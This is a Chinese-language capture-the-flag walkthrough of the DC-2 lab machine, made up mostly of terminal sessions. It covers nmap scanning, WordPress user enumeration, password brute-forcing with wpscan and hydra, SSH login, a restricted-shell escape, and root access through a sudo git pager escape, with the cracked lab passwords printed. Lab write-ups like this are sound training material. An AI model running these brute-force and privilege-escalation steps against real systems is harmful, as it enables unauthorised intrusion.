root at kali in ~ $ ip --color address 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:0c:29:22:78:42 brd ff:ff:ff:ff:ff:ff inet 10.10.8.15/24 brd 10.10.8.255 scope global dynamic noprefixroute eth0 valid_lft 1593sec preferred_lft 1593sec inet6 fe80::c6b4:c54f:b3d3:4226/64 scope link noprefixroute valid_lft forever preferred_lft forever
地址探测
使用 Nmap 扫描出一个 IP：10.10.8.143
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
root at kali in ~ $ nmap -sn -T4 --min-rate 10000 10.10.8.0/24 Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-12 11:29 CST Nmap scan report for 10.10.8.1 Host is up (0.00015s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 10.10.8.2 Host is up (0.00013s latency). MAC Address: 00:50:56:F2:17:CE (VMware) Nmap scan report for 10.10.8.143 Host is up (0.000065s latency). MAC Address: 00:0C:29:5D:7F:7A (VMware) Nmap scan report for 10.10.8.254 Host is up (0.000048s latency). MAC Address: 00:50:56:F9:F5:8B (VMware) Nmap scan report for 10.10.8.15 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 4.68 seconds
端口扫描
扫描开放端口：
1 2 3 4 5 6 7 8 9 10 11 12
root at kali in ~ $ nmap -p- -sT -T4 --min-rate 10000 10.10.8.143 Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-12 11:30 CST Nmap scan report for 10.10.8.143 Host is up (0.00075s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 80/tcp open http 7744/tcp open raqmon-pdu MAC Address: 00:0C:29:5D:7F:7A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 3.36 seconds
root at kali in ~ $ nmap -p80,7744 -sV -O -sT -T4 --min-rate 10000 10.10.8.143 Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-12 11:31 CST Nmap scan report for 10.10.8.143 Host is up (0.00038s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) 7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0) MAC Address: 00:0C:29:5D:7F:7A (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.17 seconds
root at kali in ~ $ nmap -p80,7744 -A --script=vuln -T4 --min-rate 10000 10.10.8.143 Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-12 11:33 CST Nmap scan report for 10.10.8.143 Host is up (0.00048s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-server-header: Apache/2.4.10 (Debian) | http-enum: | /wp-login.php: Possible admin folder | /readme.html: Wordpress version: 2 | /wp-includes/images/rss.png: Wordpress version 2.2 found. | /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found. | /wp-includes/images/blank.gif: Wordpress version 2.6 found. | /wp-includes/js/comment-reply.js: Wordpress version 2.7 found. | /wp-login.php: Wordpress login page. | /wp-admin/upgrade.php: Wordpress login page. |_ /readme.html: Interesting, a readme. |_http-csrf: Couldn't find any CSRF vulnerabilities. | http-wordpress-users: | Username found: admin | Username found: tom | Username found: jerry |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit' 7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:6.7p1: | CVE-2015-5600 8.5 https://vulners.com/cve/CVE-2015-5600 | PRION:CVE-2020-16088 7.5 https://vulners.com/prion/PRION:CVE-2020-16088 | CVE-2015-6564 6.9 https://vulners.com/cve/CVE-2015-6564 | CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919 | SSV:90447 4.6 https://vulners.com/seebug/SSV:90447 *EXPLOIT* | CVE-2016-0778 4.6 https://vulners.com/cve/CVE-2016-0778 | PRION:CVE-2021-41617 4.4 https://vulners.com/prion/PRION:CVE-2021-41617 | CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145 | CVE-2015-5352 4.3 https://vulners.com/cve/CVE-2015-5352 | CVE-2016-0777 4.0 https://vulners.com/cve/CVE-2016-0777 |_ CVE-2015-6563 1.9 https://vulners.com/cve/CVE-2015-6563 MAC Address: 00:0C:29:5D:7F:7A (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.48 ms 10.10.8.143
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 50.98 seconds
[32m[+] [0m jerry | Found By: Wp Json Api (Aggressive Detection) | - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Confirmed By: | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection)
[32m[+] [0m tom | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)
[33m[!] [0m No WPScan API Token given, as a result vulnerability data has not been output. [33m[!] [0m You can get a free API token with 25 daily requests by registering at https://wpscan.com/register ......
扫描出三个用户：admin、jerry、tom
注：正常扫，应该是要加 api-token 的，这里就不加了。
暴力破解
将收集到的用户名写入 username.txt 文件：
1 2 3 4 5 6 7 8
root at kali in ~ $ vim username.txt
root at kali in ~ $ cat username.txt admin jerry tom
使用 WPScan 进行用户名密码的爆破：
1 2 3 4 5 6 7 8 9 10 11 12
root at kali in ~ $ wpscan --url http://dc-2 --no-banner -U username.txt -P password.txt ....... [+] Performing password attack on Xmlrpc against 3 user/s [SUCCESS] - jerry / adipiscing [SUCCESS] - tom / parturient Trying admin / log Time: 00:00:18 <========================================== > (646 / 1121) 57.62% ETA: ??:??:??
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
SSH 登录
既然叫咱换，咋就换。
得到账号密码后，还有个东西没用，SSH 登录。
将 password.txt 内容改为：
1 2
adipiscing parturient
使用 hydra 进行爆破：
1 2 3 4 5 6 7 8 9 10 11 12
root at kali in ~ $ hydra -L username.txt -P password.txt ssh://dc-2:7744 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-12 23:26:36 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:2/p:2), ~1 try per task [DATA] attacking ssh://dc-2:7744/ [7744][ssh] host: dc-2 login: tom password: parturient 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-12 23:26:53
发现 tom 可以进行登录：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
root at kali in ~ $ ssh tom@10.10.8.143 -p 7744 The authenticity of host '[10.10.8.143]:7744 ([10.10.8.143]:7744)' can't be established. ED25519 key fingerprint is SHA256:JEugxeXYqsY0dfaV/hdSQN31Pp0vLi5iGFvQb8cB1YA. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[10.10.8.143]:7744' (ED25519) to the list of known hosts. tom@10.10.8.143's password:
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. tom@DC-2:~$ id -rbash: id: command not found
tom@DC-2:~$ ls -l usr/bin total 0 lrwxrwxrwx 1 tom tom 13 Mar 21 2019 less -> /usr/bin/less lrwxrwxrwx 1 tom tom 7 Mar 21 2019 ls -> /bin/ls lrwxrwxrwx 1 tom tom 12 Mar 21 2019 scp -> /usr/bin/scp lrwxrwxrwx 1 tom tom 11 Mar 21 2019 vi -> /usr/bin/vi
tom@DC-2:~$ ls flag3.txt usr tom@DC-2:~$ cat flag3.txt Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
大概的意思就是需要使用 su 切换到 jerry 用户。
用户切换
之前也有 jerry 用户的密码，但是 SSH 没登上，应该是做了过滤。
那使用 su 直接切换试试：
1 2 3 4
tom@DC-2:~$ su jerry Password: jerry@DC-2:/home/tom$ id uid=1002(jerry) gid=1002(jerry) groups=1002(jerry)
flag4
切换成功！找一找 flag4：
1 2 3 4 5 6 7 8 9 10
jerry@DC-2:/home/tom$ find / -name flag4* 2>/dev/null /home/jerry/flag4.txt jerry@DC-2:/home/tom$ cat /home/jerry/flag4.txt Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
看似没有提示，其实还是有的 git。
git 提权
查看一下 git 的位置：
1 2 3 4
jerry@DC-2:/home/tom$ type git git is /usr/bin/git jerry@DC-2:/home/tom$ ls -l /usr/bin/git -rwxr-xr-x 1 root root 1927972 Oct 5 2018 /usr/bin/git
查看 sudo 可执行的命令：
1 2 3 4 5 6
erry@DC-2:/home/tom$ sudo -l Matching Defaults entries for jerry on DC-2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2: (root) NOPASSWD: /usr/bin/git
jerry@DC-2:/home/tom$ sudo git -p help config GIT-CONFIG(1) Git Manual GIT-CONFIG(1)
NAME git-config - Get and set repository or global options
SYNOPSIS git config [<file-option>] [type] [-z|--null] name [value [value_regex]] git config [<file-option>] [type] --add name value git config [<file-option>] [type] --replace-all name value [value_regex] git config [<file-option>] [type] [-z|--null] --get name [value_regex] git config [<file-option>] [type] [-z|--null] --get-all name [value_regex] git config [<file-option>] [type] [-z|--null] --get-regexp name_regex [value_regex] git config [<file-option>] [type] [-z|--null] --get-urlmatch name URL git config [<file-option>] --unset name [value_regex] git config [<file-option>] --unset-all name [value_regex] git config [<file-option>] --rename-section old_name new_name git config [<file-option>] --remove-section name git config [<file-option>] [-z|--null] -l | --list git config [<file-option>] --get-color name [default] git config [<file-option>] --get-colorbool name [stdout-is-tty] git config [<file-option>] -e | --edit
DESCRIPTION You can query/set/replace/unset options with this command. The name is actually the section and the key separated by a dot, and the value will be escaped.
Multiple lines can be added to an option by using the --add option. If you want to update or unset an option which can occur on multiple lines, a POSIX regexp value_regex needs to be given. Only the existing values that match the regexp are updated or unset. If you want to handle the lines that do not match the regex, just prepend a single exclamation mark in front (see also the section called !/bin/bash root@DC-2:/home/tom# id uid=0(root) gid=0(root) groups=0(root)
